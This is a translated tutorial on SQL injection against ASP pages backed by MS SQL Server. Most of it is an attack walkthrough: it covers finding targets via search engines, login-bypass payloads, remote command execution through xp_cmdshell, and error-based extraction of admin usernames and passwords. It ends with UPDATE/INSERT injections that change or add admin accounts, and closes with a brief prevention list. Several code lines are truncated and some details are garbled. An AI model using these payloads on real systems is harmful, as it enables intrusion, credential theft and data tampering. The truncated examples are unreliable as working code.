What is SQL Injection? How to prevent SQL Injection attacks.

SQL Injection is a type of web hack that involves injecting SQL query/command code into input before it's processed by the web application. This allows you to log in without a username and password, perform remote execution, dump data, and gain root access to the SQL server.

SQL Injection is no longer a new concept, but it remains one of the most common types of cyberattacks . This article consists of 12 sections, covering everything from the concept and steps involved in SQL Injection, with an illustrative example (the website used as an example is for illustrative purposes only and does not exist), to methods of preventing SQL Injection attacks. This will help readers understand this attack method and take preventative measures to protect their websites and systems.

Note: Do not attempt to attack websites or systems of other individuals or organizations using this method; any such actions are a violation of Vietnamese law. If you find a security vulnerability, please report it to the website or system administrator so they can fix it. This article is intended only to help you understand SQL Injection attacks and take preventative measures for your web applications.

1. What is SQL Injection?

SQL Injection is a type of web hack that involves injecting SQL query/command code into input before it's processed by the web application. This allows you to log in without a username and password, perform remote execution, dump data, and gain root access to the SQL server . The attack tool is any web browser, such as Internet Explorer, Netscape, Lynx, etc.

2. Steps to perform SQL Injection

2.1. Target Search

You can find websites that allow data submission on any online search engine, such as login pages, search pages, feedback pages, etc.

For example :

```
http://yoursite.com/index.asp?id=10
```

Some websites pass parameters through hidden fields, which are only visible when you view the HTML code. For example, see below.

2.2. Checking for website vulnerabilities

Try submitting the username, password, or ID fields using 'hi' or 1=1--

```
Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' o
```

If the site is passing parameters through a hidden field, download the HTML source, save it to your hard drive, and change the URL accordingly. For example:

If successful, you can log in without knowing the username and password.

2.3. Why can ' or 1=1-- pass the login verification?

Let's say there's an ASP page that links to another ASP page with a URL like this:

```
http://yoursite.com/index.asp?category=food
```

In the URL above, the variable ' ***category*** ' is assigned the value ' ***food*** '. The ASP code for this page could look like this (this is just an example):

```
v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_
```

v_cat will contain the value of the request("category") variable, which is ' ***food*** ', and the following SQL statement will be:

```
SELECT * FROM product WHERE PCategory='food'
```

The above query will return a resultset containing one or more lines that match the condition WHERE PCategory='food'.

If you change the URL above to http://yoursite.com/index.asp?category=food' or 1=1--, the variable v_cat will contain the value "food' or 1=1-- " and the SQL query will be:

```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

The above query will select everything in the product table regardless of whether the PCategory field value is 'food'. The two hyphens (--) tell MS SQL server that the query line has ended; anything after "--" will be ignored. For MySQL, replace "--" with "#".

Alternatively, you can try submitting ' or 'a'='a. The SQL query line will now be:

```
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
```

Here are some other types of data you should also try submitting to see if the website is experiencing errors:

```
' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a
```

2.4. Executing commands remotely using SQL Injection

If installed with default settings without any adjustments, MS SQL Server will run at the SYSTEM level, equivalent to Administrator access on Windows. The ***xp_cmdshell*** stored procedure in the ***master*** database can be used to execute commands remotely:

```
'; exec master.xp_cmdshell 'ping 10.10.1.2'--
```

Try using double quotes (") if single quotes (') don't work.

The semicolon (*) will end the current SQL query line and allow a new SQL command to be executed. To check if the above command is executed, you can listen for ICMP packets from 10.10.1.2 using tcpdump as follows:

```
#tcpdump icmp
```

If you receive a ping request from 10.10.1.2, it means the command has been executed.

2.5. Receiving the output of the SQL query

You can use sp_makewebtask to write the output of SQL queries to an HTML file.

```
'; EXEC master.sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMA
```

Note : The " ***share*** " folder must be shared with Everyone first.

2.6. Receiving data via *'database using ODBC error message* '

MS SQL Server error messages often provide important information. For example, in the example above (http://yoursite.com/index.asp?id=10), let's try merging the integer '10' with another string retrieved from the database:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATI
```

The INFORMATION_SCHEMA.TABLES table in SQL Server contains information about all the tables on the server. The TABLE_NAME field contains the name of each table in the database. We select it because we know it always exists. Our query is:

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
```

This query will return the name of the first table in the database.

When we combine this string with the integer 10 via the UNION statement, MS SQL Server will attempt to convert a string (nvarchar) to an integer. This will result in an error if the nvarchar cannot be converted to an integer; the server will display the following error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

The error message indicates that the value " table1 " was not converted to an integer . This is also the name of the first table in the database we are trying to convert.

To get the name of the next table, you can use the following query:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIC
```

You could also try retrieving the data using the LIKE statement of the SQL query:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIC
```

The SQL Server error message might then be:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

The comparison pattern '%25login%25' is equivalent to %login% in SQL Server. As seen in the error message above, we can identify the name of an important table as " ***admin_login*** ".

2.7. Identify the names of the columns in the table.

The INFORMATION_SCHEMA.COLUMNS table contains the names of all the columns in the table. It can be exploited as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

The SQL Server error message might then look like this:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

So the name of the first column is " ***login_id*** ". To get the names of the subsequent columns, you can use the NOT IN () logical clause as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

The SQL Server error message might then look like this:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

By doing the same as above, you can get the names of the remaining columns such as " ***password*** ", " ***details*** ". Then, you can retrieve these column names from SQL Server error messages, as in the following example:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

The SQL Server error message might then look like this:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL
```

2.8. Collecting key data

We have identified the names of the important tables and columns. We will now collect the important information from these tables and columns.

You can retrieve the first ***login_name in the " admin_login*** " table as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_logi
```

The SQL Server error message might then look like this:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

It's easy to see that the first admin user has the login_name "neo". Let's try to get the password for "neo" as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
```

The SQL Server error message might then look like this:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

And now you can log in with the username " ***neo*** " and the password " ***m4trix*** ".

2.9. Get numeric strings

There is a small limitation to the above method. We cannot receive error messages if the server can correctly convert the text to numeric format (text containing only numeric characters from 0 to 9). For example, let's say the password for " ***trinity*** " is " ***31173*** ". So if we execute the following command:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
```

Then, we only receive the error message " *Page Not Found* ". The reason is that the server may convert the password " ***31173*** " to a number before UNIONing it with the integer 10. To solve this problem, we can add a few alphabet characters to this numeric string to prevent the server from converting the text to a number. The new query would be as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'
```

We use the plus sign (+) to append text to the password (ASCII code for '+' is 0x2b). We add the string *'(space)morpheus'* to the end of the password to create a new non-numeric string, *'31173 morpheus'* . When the convert() function is called to convert *'31173 morpheus'* to an integer, the SQL server will throw the following ODBC error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL
```

And that means we can now log in with the username ' ***trinity*** ' and the password ' ***31173*** '.

2.10. Changing database data (Update/Insert)

Once you have the names of all the columns in the table, you can use the UPDATE or INSERT commands to modify/create a new record in this table.

To change the password for " ***neo*** ", you can do the following:

```
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpa
```

Or if you want to add a new record to the table:

```
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'logi
```

And now you can log in with the username " ***neo2*** " and password " ***newpas5*** ".

3. Prevent SQL Injection

Organizations can focus on the following steps to protect themselves from SQL Injection attacks:

1. Never trust user input: Data must always be validated before being used in SQL statements.
2. Stored procedures: These procedures can abstract SQL commands and treat the entire input as parameters. Therefore, they cannot affect the SQL command syntax.
3. The commands are pre-prepared: This includes creating the SQL query as the first action and then processing all the data sent as parameters.
4. Common phrases: These phrases are used to detect and remove malware before the SQL statement is executed.
5. Proper error reporting: Error reports must absolutely avoid disclosing sensitive information/details and the location where the error occurred.
6. Limit user access to the database: Only accounts with the required access permissions should be allowed to connect to the database. This can help minimize the number of SQL commands automatically executed on the server.
7. Remove meta characters like '"/; and extend characters like NULL, CR, LF, . from the strings received from:
    1. User-submitted input
    2. parameters from URL
    3. values ??from cookies
8. For numeric values, convert them to integers before querying SQL, or use ISNUMERIC to ensure it's an integer.
9. Change " *Startup and run SQL Server* " to use the *low privilege user* level in the SQL Server Security tab.
10. Delete unused stored procedures in the database ***master , such as:***
    1. xp_cmdshell
    2. xp_startmail
    3. xp_sendmail
    4. sp_makewebtask

Preventing SQL Injection in ASP.NET

The methods for preventing SQL Injection presented in section 12 are comprehensive, but in ASP.NET, a simpler way to prevent it is to use parameters when working with SqlCommand (or OleDbCommand) objects instead of direct SQL statements. .NET will then automatically validate the data type and content before executing the SQL statement.

Additionally, it's important to manage error messages effectively. By default, ASP.NET doesn't display detailed error messages when not running on localhost.

4. References

1.How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc

Collected from the Internet, translated from the original article " **SQL Injection Walkthrough** " by xfocus.net